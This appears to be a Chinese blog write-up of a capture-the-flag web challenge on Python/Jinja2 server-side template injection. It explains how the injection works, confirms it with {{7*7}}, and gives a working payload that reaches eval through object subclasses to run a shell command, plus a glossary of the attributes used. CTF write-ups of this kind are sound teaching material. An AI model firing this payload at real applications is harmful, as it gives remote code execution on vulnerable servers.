攻防世界25-Web_python_template_injection-CTFWeb
攻防世界25-Web_python_template_injection-CTFWeb
python模板注入,其实就是ssti,SSTI 注入 - Hello CTF (hello-ctf.com)
「模板注入 SSTI(Server-Side Template Injection)」 也一样,数据传递 就是可控的输入点,以 Jinja2 举例,Jinja2 在渲染的时候会把
{{}}
包裹的内容当做变量解析替换,所以当我们传入{{表达式}}
时,表达式就会被渲染器执行。
测试一下
1 | http://61.147.171.105:65476/{{7*7}} |
存在ssti
直接试试几个先看看
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} |
class : 返回对象所属的类
mro : 返回一个类所继承的基类元组,方法在解析时按照元组的 顺序解析。
base : 返回该类所继承的基类 // __base__和__mro__都是用来寻找基类的
subclasses : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
init : 类的初始化方法
globals : 对包含函数全局变量的字典的引用
1 |
1 |
|
1 |
1 |
|
1 |
|

还有其他语句可获得
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Matriy's blog!
评论